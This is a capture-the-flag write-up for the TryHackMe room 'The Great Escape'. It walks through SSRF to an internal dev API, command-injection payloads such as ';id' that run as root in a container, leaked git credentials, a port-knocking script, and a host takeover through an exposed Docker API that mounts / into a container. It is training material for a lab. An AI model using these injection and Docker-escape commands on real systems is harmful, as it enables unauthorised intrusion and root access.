Initial Information
Name, link, creator: The Great Escape (tryhackme.com/room/thegreatescape) by hydragyrum
Our devs have created an awesome new site. Can you break out of the sandbox?
Enumeration
As always, we can start with an nmap
scan to discover open ports
and services running on these ports.
http - 80/tcp
We have a webpage where the Sign up function is turned off because they don't want any rogue accounts.
But /login
is allowed. It makes a POST request to /api/login
with the
data I gave it (asd:bnm
) in JSON {username: "asd", password: "bnm"}
.
File / Directory brute forcing
We can try to do some directory {and, or} file brute forcing with ffuf
(you can also use gobuster
, wfuzz
or anything that fits your needs)
but the page gives a 200 response code to anything try to get.
$ ffuf -u http://10.10.230.170/FUZZ -w /opt/SecLists/Discovery/Web-Content/common.txt
---[SNIP]---
.ssh [Status: 200, Size: 3834, Words: 141, Lines: 10]
.listings [Status: 200, Size: 3834, Words: 141, Lines: 10]
api [Status: 301, Size: 169, Words: 5, Lines: 8]
We can also provide the -mc all
flag for ffuf
to show response codes for every request being made.
And we can see there are a huge amount of 503
's which means Service Temporarily Unavailable.
$ ffuf -u http://10.10.230.170/FUZZ -w /opt/SecLists/Discovery/Web-Content/common.txt -mc all
V [Status: 503, Size: 197, Words: 7, Lines: 8]
W3SVC3 [Status: 503, Size: 197, Words: 7, Lines: 8]
XXX [Status: 503, Size: 197, Words: 7, Lines: 8]
This means the server has some kind of rate limiting that blocks our fuzzing requests. We have two options.
- We can try to delay our requests
- Try the most basic files manually with
curl
Let's try getting the most basic files
As the hint suggests: A well known file may offer some help we can try /robots.txt
,
and files inside /.well-known/
directory.
$ curl http://10.10.230.170/robots.txt
User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$
- We got some new endpoints from
/robots.txt
!
The most common file which can be found in the /.well-known/
folder
is usually security.txt
so we must try this one too on every target!
$ curl http://10.10.230.170/.well-known/security.txt
Hey you found me!
The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.
See https://securitytxt.org/ for more information.
Ping /api/fl46 with a HEAD request for a nifty treat.
- securitytxt.org
- We have to make a HEAD request to
/api/fl46
in order to get the flag!
$ curl -I http://10.10.230.170/api/fl46
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Feb 2021 11:26:34 GMT
Connection: keep-alive
flag: THM{bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX4}
- We got our first flag!
As the manual (man curl
) said -I
is used to fetch the HEADers only.
Takeaways:
- Always take a look at
/.well-known/security.txt
(and also/robots.txt
) - Use
ffuf
with-mc all
flag to show response codes which will help you identify any weird behavior that you could've missed without the use of this option
Taking a closer look at robots.txt and its contents
We have already found out that /robots.txt
contains some new paths we haven't tried to access yet.
So let's take a closer look at these ones.
/api/
/exif-util
/*.bak.txt$
- We know
/api/
because we got the flag from there and there is also a login functionality on/api/login
/*.bak.txt$
is new and it means every file which ends with.bak.txt
extension/exif-util
is also new!
/exif-util
On this endpoint we can upload a file or we can provide and URL for the file and the application will show it's metadata.
My friends and I initially thought we must exploit this converter / SSRF to get foothold so we tried a bunch of things and we got some weird errors and stuff like that which I will show you now.
Since the From URL option makes a GET request to the URL we provide
we initially thought it was an SSRF so we tried some basic command injection,
requesting local resources and differen URI schemes like file://
.
With file:///etc/passwd
we got an interesting error saying:
An error occurred: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection
This error was verbose enough so we knew it was running java in the background.
And if we used nc -lvp 8000
on our local box and we requested http://<ATTACKER>:8000
we got a request like the following:
$ nc -lvp 8000
listening on [any] 8000 ...
10.10.230.170: inverse host lookup failed: Unknown host
connect to [10.8.2.82] from (UNKNOWN) [10.10.230.170] 36010
GET / HTTP/1.1
TE: gzip, deflate; q=0.5
User-Agent: Java/11.0.8
Host: 10.8.2.82:8000
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
The user agent (User-Agent: Java/11.0.8
) confirmed it was java!
We tried to search for possible entry points and we found a hackerone report about an image processor app that used java and it was vulnerable to XXE. The reporter inserted the payload into the JPEG's XMP header and when the app processed XMP info it triggered the XXE. The reporter was able to make a request to an dtd he controlled so he was able to get the contents of files on the target system.
We tried to reproduce it but the tool mentioned in the report was
some kind of ruby script which didn't work well so we started to do it the manual
way. My friend tried GIMP and I started with exiftool
.
Fact: GIMP can view the XMP data of a picture but can NOT write it.
On the other hand, exiftool
could write XMP data into the file but it got encoded
when I checked it with strings
. I tried it anyways but it wasn't working.
After that I decided to edit the image file by hand with vim
and I was able to
change these URL-encoded characters but after uploading the image it still wasn't working.
I tried doing some changes but when I changed too much stuff
I broke the format of the image so the webapp and my image viewer
sxiv
couldn't open the file.
But this was the point where we got stuck really hard.
The guessy part :/
Okay, so the next part was a bit guessy in my opinion.
So we have the *.bak.txt$
robots entry and we have an open webapp at /exif-util
.
We must combine these two and we should take a look at /exif-util.bak.txt
.
This was a backup of the current /exif-util
endpoint which made use of a
developer backup api.
Old or developer stuff left on the webserver are usually interesting and might contain bugs.
$ curl http://10.10.230.170/exif-util.bak.txt
<template>
<section>
<div class="container">
<h1 class="title">Exif Utils</h1>
<section>
<form @submit.prevent="submitUrl" name="submitUrl">
<b-field grouped label="Enter a URL to an image">
<b-input
placeholder="http://..."
expanded
v-model="url"
></b-input>
<b-button native-type="submit" type="is-dark">
Submit
</b-button>
</b-field>
</form>
</section>
<section v-if="hasResponse">
<pre>
{{ response }}
</pre>
</section>
</div>
</section>
</template>
<script>
export default {
name: 'Exif Util',
auth: false,
data() {
return {
hasResponse: false,
response: '',
url: '',
}
},
methods: {
async submitUrl() {
this.hasResponse = false
console.log('Submitted URL')
try {
const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
params: {
url: this.url,
},
})
this.hasResponse = true
this.response = response
} catch (err) {
console.log(err)
this.$buefy.notification.open({
duration: 4000,
message: 'Something bad happened, please verify that the URL is valid',
type: 'is-danger',
position: 'is-top',
hasIcon: true,
})
}
},
},
}
</script>
There is a line leaking the URL of a developer backup api!
const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
Making use of the backup api
Initially, I added this backup api to my /etc/hosts
file (10.10.230.170 api-dev-backup
)
but when I tried to access it it just didn't work. So we must find an other way
to access this internal backup api!
We know when we use the From URL
option the webapp
makes a GET request to /api/exif?url=<URL_WE_PROVIDE>
.
I always prefer using curl
or an other cli application over a
bloat gui webbrowser so I will use curl
to make request to the api.
$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080'
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Nothing to see here</title>
</head>
<body>
<p>Nothing to see here, move along...</p>
</body>
</html>
- We got the contents of the webpage!
Exploitation
Command Injection
We can try to use /exif?url
on the backup api and try testing for SSRF {and, or}
command injection!
I initially tried getting a command injection because it was a developer backup api and development or old backup stuff is always interesting!
We can start with the most basic command injection which is inserting an arbitrary command after a ;
.
$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080/exif?url=;id'
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
uid=0(root) gid=0(root) groups=0(root)
- It returned the output of our
id
command in the last line of the output! - This means we have a command injection
And the user is root
which could mean that we compromised the whole machine by
one command injection but this isn't the situation here.
Looking at the picture of the box we can see it's related to docker
So we should be in a docker container!
Enumeration
But heads up! We still got a working command injection and we are root in a docker container. This means we should enumerate whats available for us!
After some manual exploration we can find a note in /root/dev-note.txt
.
And a git repo /root/
with some interesting commits storing critical information.
And also a /.dockerenv
file which confirms that we are in a docker container.
Basic directory enumeration:
$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080/exif?url=;ls+-la+/'
---[SNIP]---
-rwxr-xr-x 1 root root 0 Jan 7 22:14 .dockerenv
---[SNIP]---
$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080/exif?url=;ls+-la+/root'
---[SNIP]---
total 28
drwx------ 1 root root 4096 Jan 7 16:48 .
drwxr-xr-x 1 root root 4096 Jan 7 22:14 ..
lrwxrwxrwx 1 root root 9 Jan 6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan 7 16:48 .git
-rw-r--r-- 1 root root 53 Jan 6 20:51 .gitconfig
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-rw-r-- 1 root root 201 Jan 7 16:46 dev-note.txt
Git enumeration
For first I used git log
to print out every change and its comments.
$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080/exif?url=;cd+/root;git+log'
---[SNIP]---
commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra <hydragyrum@example.com>
Date: Thu Jan 7 16:48:58 2021 +0000
fixed the dev note
commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra <hydragyrum@example.com>
Date: Wed Jan 6 20:51:39 2021 +0000
Removed the flag and original dev note b/c Security
commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date: Wed Jan 6 20:51:39 2021 +0000
Added the flag and dev notes
We got 3 commits so we should take a look at them.
$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080/exif?url=;cd+/root;git+show+a3d30a7d0510dc6565ff9316e3fb84434916dee8'
---[SNIP]---
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX6}
$ curl 'http://10.10.230.170/api/exif?url=http://api-dev-backup:8080/exif?url=;cd+/root;git+show+5242825dfd6b96819f65d17a1c31a99fea4ffb6a'
---[SNIP]---
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.
+
+Anyways, the password is fluffybunnies123
+
+Cheers,
+
+Hydra
- We got the flag by reading a change in a commit!
- We also got some ports we need to knock to open a tcp port!
- And we got the contents of the note file which contains a username
hydra
and a passwordfluffybunnies123
!
Note that I used +
instead of spaces in my request to avoid breaking the request.
But when we try to use ssh it just hangs forever. We can try to debug the issue
by turning on verbose mode with -v
.
$ ssh hydra@10.10.230.170 -v
OpenSSH_8.4p1 Debian-3, OpenSSL 1.1.1i 8 Dec 2020
---[SNIP]---
debug1: Connecting to 10.10.230.170 [10.10.230.170] port 22.
debug1: Connection established.
---[SNIP]---
debug1: Local version string SSH-2.0-OpenSSH_8.4p1 Debian-3
debug1: kex_exchange_identification: banner line 0: Ub%Vl}>z@<t*wgEToP(dPdR(},
debug1: kex_exchange_identification: banner line 1: :z;\\=|]#^U\\ N!(PkTS?6y\\Cqe
debug1: kex_exchange_identification: banner line 2: X,JZU$Dl&FTmbsrZ~Ki&W.p
- The server is sending random stuff at us in the banner forever!
This should be endlessh! Which means we have to find an other way to get into the box.
Trying to get a reverse shell
I initially tried getting a reverse shell but it didn't work because of some filtering.
I always prefer opening a reverse shell for ease of access. We can try to use some of the payloads from PayloadsAllTheThings Revshell Cheatsheet!
But in this situation when we try to get a reverse shell we will face some issues.
- There are some filtering on the request body (
nc
command is blacklisted) - There is no
wget
on the target andcurl
just hangs so we couldn't download a .sh file which ccontains our reverse shell.
A quick recap on what we have achieved so far
Going through the things we have so far: We have only 2 ports open on the box. 22 being endlessh and 80 being the vulnerable webserver. There is also a backup api which can't be accessible from outside the box. And we also have a possible username and a password from the webserver's docker container. The deleted note from the webserver mentioned port knocking!
Port Knocking
Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
I wrote a little posix compliant sh script for manual port knocking with curl
.
Since POSIX SH does not support arrays I used a string of ports separated by spaces
then I used tr
to separate them and read them into the i
variable.
#!/bin/sh
TARGET="10.10.230.170"
PORTS="42 1337 10420 6969 63000"
echo "$PORTS" | tr ' ' '\n' | while read -r i
do
echo "knocking $i"
/usr/bin/curl "$TARGET:$i"
sleep 1
done
We can run the script and after that we can start a new nmap scan to detect newly opened ports on the target system.
$ sh knocker.sh
$ nmap -sC -sV -p- -oN scans/tcpfull_afterknock 10.10.230.170 -vvv
---[SNIP]---
Discovered open port 22/tcp on 10.10.230.170
Discovered open port 80/tcp on 10.10.230.170
Discovered open port 2375/tcp on 10.10.230.170
---[SNIP]---
We got a new port 2375
!
2375/tcp open docker syn-ack ttl 63 Docker 20.10.2 (API 1.41)
| docker-version:
| GoVersion: go1.13.15
| ApiVersion: 1.41
| Version: 20.10.2
| BuildTime: 2020-12-28T16:15:09.000000000+00:00
| Platform:
| Name: Docker Engine - Community
| Arch: amd64
| Os: linux
| KernelVersion: 4.15.0-130-generic
| MinAPIVersion: 1.12
| GitCommit: 8891c58
| Components:
|
| Details:
| KernelVersion: 4.15.0-130-generic
| Experimental: false
| ApiVersion: 1.41
| BuildTime: 2020-12-28T16:15:09.000000000+00:00
| Arch: amd64
| Os: linux
| GoVersion: go1.13.15
| GitCommit: 8891c58
| MinAPIVersion: 1.12
| Name: Engine
| Version: 20.10.2
|
| Details:
| GitCommit: 269548fa27e0089a8b8278fc4fc781d7f65a939b
| Name: containerd
| Version: 1.4.3
|
| Details:
| GitCommit: ff819c7e9184c13b7c2607fe6c30ae19403a7aff
| Name: runc
| Version: 1.0.0-rc92
|
| Details:
| GitCommit: de40ad0
| Name: docker-init
|_ Version: 0.19.0
Attacking docker
Searching for docker vulnerabilities I found an interesting post: Hundreds of Vulnerable Docker Hosts Exploited by Cryptocurrency Miners
There is an option in docker to connect to a remote system and run
docker commands on it by specifying a -H <TARGET:PORT>
flag!
$ docker -H 10.10.230.170:2375 image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
exif-api-dev latest 4084cb55e1c7 6 weeks ago 214MB
exif-api latest 923c5821b907 6 weeks ago 163MB
frontend latest 577f9da1362e 6 weeks ago 138MB
endlessh latest 7bde5182dc5e 6 weeks ago 5.67MB
nginx latest ae2feff98a0c 2 months ago 133MB
debian 10-slim 4a9cd57610d6 2 months ago 69.2MB
registry.access.redhat.com/ubi8/ubi-minimal 8.3 7331d26c1fdf 2 months ago 103MB
alpine 3.9 78a2ce922f86 10 months ago 5.55MB
- These are not my local images!
- This means I can run docker commands on the target remote server!
The article also talks about executing commands inside a container on a remote server!
Since there are already some images downloaded I skip the download image step. But I have to start a container and run some commands inside them!
I made use of GTFOBins docker page.
$ docker -H 10.10.230.170:2375 run -v /:/mnt --rm -it -d alpine:3.9
We can list the containers to check if our alpine is running.
$ docker -H 10.10.230.170:2375 container ls
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
1c04b4ad5e08 alpine:3.9 "/bin/sh" 47 seconds ago Up 31 seconds elegant_galileo
49fe455a9681 frontend "/docker-entrypoint.…" 6 weeks ago Up 3 hours 0.0.0.0:80->80/tcp dockerescapecompose_frontend_1
4b51f5742aad exif-api-dev "./application -Dqua…" 6 weeks ago Up 3 hours dockerescapecompose_api-dev-backup_1
cb83912607b9 exif-api "./application -Dqua…" 6 weeks ago Up 3 hours 8080/tcp dockerescapecompose_api_1
548b701caa56 endlessh "/endlessh -v" 6 weeks ago Up 3 hours 0.0.0.0:22->2222/tcp dockerescapecompose_endlessh_1
Now, we can try to execute commands in the docker container which is on the target system.
$ docker -H 10.10.230.170:2375 exec elegant_galileo ls
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
- We successfully executed the ls command! On the container which is running on the target host!
Now, we can search for the last flag under /mnt
in the container.
$ docker -H 10.10.230.170:2375 exec elegant_galileo ls /mnt/root
flag.txt
$ docker -H 10.10.230.170:2375 exec elegant_galileo cat /mnt/root/flag.txt
Congrats, you found the real flag!
THM{cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX4}
We successfully got the root flag by using port knocking, and an open docker port which allowed us to run docker commands on the target system!
The box was a little unstable (the ssrf didn't work) for some days but after it got a patch everything went fine!
The initial part was a basic SSRF and command injeciton after we found that backup file. --> Takeaway: always try to find backups for the known endpoints!
BUT this docker technique was new for me! And I loved it!
This -H
flag is a great one!
Thank you hydragyrum!